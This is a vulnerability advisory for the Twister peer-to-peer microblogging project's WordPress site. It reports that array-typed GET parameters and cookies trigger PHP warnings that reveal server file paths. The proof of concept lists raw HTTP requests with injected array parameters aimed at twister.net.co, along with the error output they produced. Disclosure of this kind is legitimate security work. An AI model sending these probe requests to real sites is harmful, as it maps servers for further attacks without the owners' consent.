========================================================================
TWISTER Peer-To-Peer microblogging Multiples Application Error Message ( and disclosing sensitive information) 
========================================================================

TIME-LINE VULNERABILITY

Multiples Advisories but Not Response Not Fixed

-----------------
Alerts summary
-----------------


Application error message
**********************

/

author 

cat 

comment_author_email_46104838c3366e1644fd983230bdf8c5 

comment_author_url_46104838c3366e1644fd983230bdf8c5 

feed 

m 

s 

wordpress_46104838c3366e1644fd983230bdf8c5 

wordpress_logged_in_46104838c3366e1644fd983230bdf8c5 

/wp-comments-post.php

author 

comment 

email 

url 

/wp-login.php

comment_author_email_46104838c3366e1644fd983230bdf8c5 

comment_author_url_46104838c3366e1644fd983230bdf8c5 

redirect_to 

user_email 

user_login 

wordpress_46104838c3366e1644fd983230bdf8c5 

wordpress_logged_in_46104838c3366e1644fd983230bdf8c5


I. VULNERABILITY
-------------------------

#Title: TWISTER.NET Multiples Application Error Message ( disclose sensitive information)

#Vendor:http://www.twister.net.co

#Author:Juan Carlos García (@secnight)

#Verified: Francisco Moraga (@BTShell)

#http://asap-sec.com


II. DESCRIPTION
-------------------------

Twister Peer-to-peer microblogging is the fully decentralized P2P microblogging 
platform leveraging from the free software implementations of Bitcoin and BitTorrent protocols. 


III. PROOF OF CONCEPT
-------------------------

--Attack details---

Application error message
-------------------------

Vulnerability description
*************************

This page contains an error/warning message that may disclose sensitive information.

The message can also contain the location of the file that produced the unhandled exception.


Affected items
---------------
/ 
/wp-comments-post.php 
/wp-login.php 


Cookie input comment_author_email_46104838c3366e1644fd983230bdf8c5 was set to sample%40email.tst

Error message found: 


<b>Warning</b>:  trim() expects parameter 1 to be string, array given in <b>/home/content/68/11448068/html/wp-includes/plugin.php</b> on line <b>199</b><br />


URL encoded GET input author was set to 1

Error message found: 

<b>Warning</b>:  urldecode() expects parameter 1 to be string, array given in <b>/home/content/68/11448068/html/wp-includes/query.php</b> on line <b>2519</b><br />

GET /?author[$secnight]=1&feed=rss2 HTTP/1.1

Cookie: comment_author_46104838c3366e1644fd983230bdf8c5=1;
comment_author_email_46104838c3366e1644fd983230bdf8c5=sample%40email.tst;
comment_author_url_46104838c3366e1644fd983230bdf8c5=http%3A%2F%2F1;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_46104838c3366e1644fd983230bdf8c5=+; wordpress_46104838c3366e1644fd983230bdf8c5=+;
wordpress_sec_46104838c3366e1644fd983230bdf8c5=+;
wordpressuser_46104838c3366e1644fd983230bdf8c5=+; wordpresspass_46104838c3366e1644fd983230bdf8c5=+

X-Pingback: http://twister.net.co/xmlrpc.php
Host: twister.net.co
Connection: Keep-alive
Accept-Encoding: gzip,deflate


URL encoded GET input cat was set to 1

Error message found: 

<b>Warning</b>:  urldecode() expects parameter 1 to be string, array given in <b>/home/content/68/11448068/html/wp-includes/query.php</b> on line <b>1771</b><br />


GET /?cat[$secnight]=1 HTTP/1.1

Cookie: comment_author_46104838c3366e1644fd983230bdf8c5=1; comment_author_email_46104838c3366e1644fd983230bdf8c5=sample%40email.tst;
comment_author_url_46104838c3366e1644fd983230bdf8c5=http%3A%2F%2F1; wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_46104838c3366e1644fd983230bdf8c5=+; wordpress_46104838c3366e1644fd983230bdf8c5=+;
wordpress_sec_46104838c3366e1644fd983230bdf8c5=+; wordpressuser_46104838c3366e1644fd983230bdf8c5=+;
wordpresspass_46104838c3366e1644fd983230bdf8c5=+

Host: twister.net.co
Connection: Keep-alive
Accept-Encoding: gzip,deflate



Cookie input comment_author_url_46104838c3366e1644fd983230bdf8c5 was set to http%3A%2F%2F1

Error message found: 

<b>Warning</b>:  strip_tags() expects parameter 1 to be string, array given in <b>/home/content/68/11448068/html/wp-includes/formatting.php</b> on line <b>3261</b><br />




GET / HTTP/1.1

Cookie: comment_author_46104838c3366e1644fd983230bdf8c5=1; comment_author_email_46104838c3366e1644fd983230bdf8c5=sample%40email.tst;
comment_author_url_46104838c3366e1644fd983230bdf8c5[]=http%3A%2F%2F1; wordpress_test_cookie=WP+Cookie+check;
wordpress_46104838c3366e1644fd983230bdf8c5=+; wordpress_sec_46104838c3366e1644fd983230bdf8c5=+;
wordpress_46104838c3366e1644fd983230bdf8c5=+; wordpress_sec_46104838c3366e1644fd983230bdf8c5=+;
wordpress_logged_in_46104838c3366e1644fd983230bdf8c5=+; wordpress_46104838c3366e1644fd983230bdf8c5=+;
wordpress_sec_46104838c3366e1644fd983230bdf8c5=+; wordpressuser_46104838c3366e1644fd983230bdf8c5=+;
wordpresspass_46104838c3366e1644fd983230bdf8c5=+

Referer: http://twister.net.co:80/
Host: twister.net.co
Connection: Keep-alive
Accept-Encoding: gzip,deflate


URL encoded GET input feed was set to 1

Error message found: 

<b>Warning</b>:  strpos() expects parameter 1 to be string, array given in <b>/home/content/68/11448068/html/wp-includes/class-wp.php</b> on line <b>331</b><br />


GET /?author=1&feed[$secnight]=1 HTTP/1.1

Cookie: comment_author_46104838c3366e1644fd983230bdf8c5=1; comment_author_email_46104838c3366e1644fd983230bdf8c5=sample%40email.tst;
comment_author_url_46104838c3366e1644fd983230bdf8c5=http%3A%2F%2F1; wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_46104838c3366e1644fd983230bdf8c5=+; wordpress_46104838c3366e1644fd983230bdf8c5=+;
wordpress_sec_46104838c3366e1644fd983230bdf8c5=+; wordpressuser_46104838c3366e1644fd983230bdf8c5=+;
wordpresspass_46104838c3366e1644fd983230bdf8c5=+

Host: twister.net.co


Cookie input comment_author_email_46104838c3366e1644fd983230bdf8c5 was set to sample%40email.tst

Error message found: 

<b>Warning</b>:  trim() expects parameter 1 to be string, array given in <b>/home/content/68/11448068/html/wp-includes/plugin.php</b> on line <b>199</b><br />


GET /wp-login.php HTTP/1.1

Cookie: comment_author_46104838c3366e1644fd983230bdf8c5=1;
comment_author_email_46104838c3366e1644fd983230bdf8c5[]=sample%40email.tst;
comment_author_url_46104838c3366e1644fd983230bdf8c5=http%3A%2F%2F1; wordpress_test_cookie=WP+Cookie+check;
wordpress_46104838c3366e1644fd983230bdf8c5=+; wordpress_sec_46104838c3366e1644fd983230bdf8c5=+;
wordpress_46104838c3366e1644fd983230bdf8c5=+; wordpress_sec_46104838c3366e1644fd983230bdf8c5=+;
wordpress_logged_in_46104838c3366e1644fd983230bdf8c5=+; wordpress_46104838c3366e1644fd983230bdf8c5=+;
wordpress_sec_46104838c3366e1644fd983230bdf8c5=+; wordpressuser_46104838c3366e1644fd983230bdf8c5=+; wordpresspass_46104838c3366e1644fd983230bdf8c5=+

Referer: http://twister.net.co:80/

Host: twister.net.co

Etc 
Etc
Etc
.
.
.


IV. BUSINESS IMPACT
-------------------------

The impact of this vulnerability:

The error messages disclose sensitive information. This information can be used to launch further attacks.


V SOLUTION
------------------------

Pentesting, Review and Write Secure Code.


VI. CREDITS
-------------------------

This vulnerability has been discovered

by 

Juan Carlos García(@secnight)

Verified by

Francisco Moraga (@BTShell)

ASAP-SEC Team Members

Security As Soon As Possible (@Asap_Sec)


VII. LEGAL NOTICES
-------------------------

The Author accepts no responsibility for any damage
caused by the use or misuse of this information.